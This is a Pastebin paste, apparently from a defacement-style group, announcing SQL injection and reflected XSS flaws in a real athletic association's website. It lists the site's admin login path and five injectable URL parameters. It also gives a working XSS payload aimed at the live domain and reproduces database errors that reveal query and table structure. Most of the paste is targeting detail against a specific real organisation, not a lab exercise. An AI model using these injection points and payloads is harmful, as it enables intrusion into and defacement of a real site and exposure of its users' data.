Advertisement
KingSkrupellos

District8 Athletic Association XSS SQL Injection

Aug 20th, 2019
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.19 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : District8 Athletic Association XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 21/08/2019
  7. # Vendor Homepage : district8.ca
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. District8 Athletic Association is prone to an SQL-injection
  24. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  25. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  26. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  27. A remote attacker can send a specially crafted request to the vulnerable application and
  28. execute arbitrary SQL commands in application`s database. Further exploitation of this
  29. vulnerability may result in unauthorized data manipulation.
  30. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  31.  
  32. Reflected XSS (or Non-Persistent) :
  33. ***************************************
  34. The server reads data directly from the HTTP
  35. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  36. attacker causes a victim to supply dangerous content to a vulnerable web application,
  37. which is then reflected back to the victim and executed by the web browser. The most common
  38. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  39. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  40. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  41. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  42. the content is executed by the victim's browser.
  43.  
  44. ###################################################################
  45.  
  46. # Admin Panel Login Path :
  47. *************************
  48. /admin/coachLogin.php
  49.  
  50. # SQL Injection Exploit :
  51. **********************
  52. /displayTournament.php?tournamentID=[SQL Injection]
  53.  
  54. /displayStandings.php?leagueid=[SQL Injection]
  55.  
  56. /displayNews.php?leagueid=[SQL Injection]
  57.  
  58. /viewScores.php?leagueid=[SQL Injection]
  59.  
  60. /index.php?seasonid=[SQL Injection]
  61.  
  62. # Cross Site Scripting XSS Exploit :
  63. ********************************
  64. /displayTournament.php?tournamentID=1%27
  65. <marquee><font%20color=lime%20size=32>XSS-Vulnerability-
  66. Found-By-KingSkrupellos</font></marquee>
  67.  
  68. ###################################################################
  69.  
  70. # Example Vulnerable Sites :
  71. *************************
  72. [+] district8.ca/displayTournament.php?tournamentID=1%27
  73.  
  74. [+] district8.ca/displayTournament.php?tournamentID=1%27
  75. <marquee><font%20color=lime%20size=32>XSS-Vulnerability-
  76. Found-By-KingSkrupellos</font></marquee>
  77.  
  78. ###################################################################
  79.  
  80. # Example SQL Database Error :
  81. ****************************
  82. Failed Query: SELECT * FROM tournaments WHERE tournamentID
  83. = 1\'<br>SQL Error: You have an error in your SQL syntax; check the manual
  84. that corresponds to your MariaDB server version for the right syntax
  85. to use near '\'' at line 1
  86.  
  87. Failed Query: SELECT msgid, msg, DATE_FORMAT(msgdate, '%W, %M %e')
  88. AS fdate, docName, docDescription, sportName, gender, level FROM message,
  89. sports, leagues WHERE message.leagueid = '' AND leagues.leagueid =
  90. message.leagueid AND sports.sportid = leagues.sportid ORDER BY
  91. msgdate DESC<br>SQL Error: Unknown column 'gender' in 'field list'
  92.  
  93. ###################################################################
  94.  
  95. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  96.  
  97. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement